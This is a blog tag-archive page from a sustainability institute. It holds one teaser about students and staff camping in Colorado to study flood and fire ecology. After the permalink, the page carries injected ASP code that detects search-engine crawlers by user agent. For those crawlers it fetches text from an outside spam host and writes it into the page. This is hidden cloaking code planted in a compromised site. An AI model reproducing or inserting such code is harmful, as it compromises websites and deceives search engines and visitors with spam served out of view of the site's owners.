Tag Archive: service learning

Aug 21

Sustainability Leadership Cohort Returns from Flood and Fire Ecology Trip to Colorado

A group of high school students, college interns, and Sustainable Development Institute staff traveled to Colorado to learn about water and fire issues, climate change’s impacts on the ecology of the region, and what sustainability means in different places as part of the USDA POSOH project.   While camping out in the mountains for 5 days, …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2014/08/sustainability-leadership-cohort-returns-from-their-flood-and-fire-ecology-trip-to-colorado/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>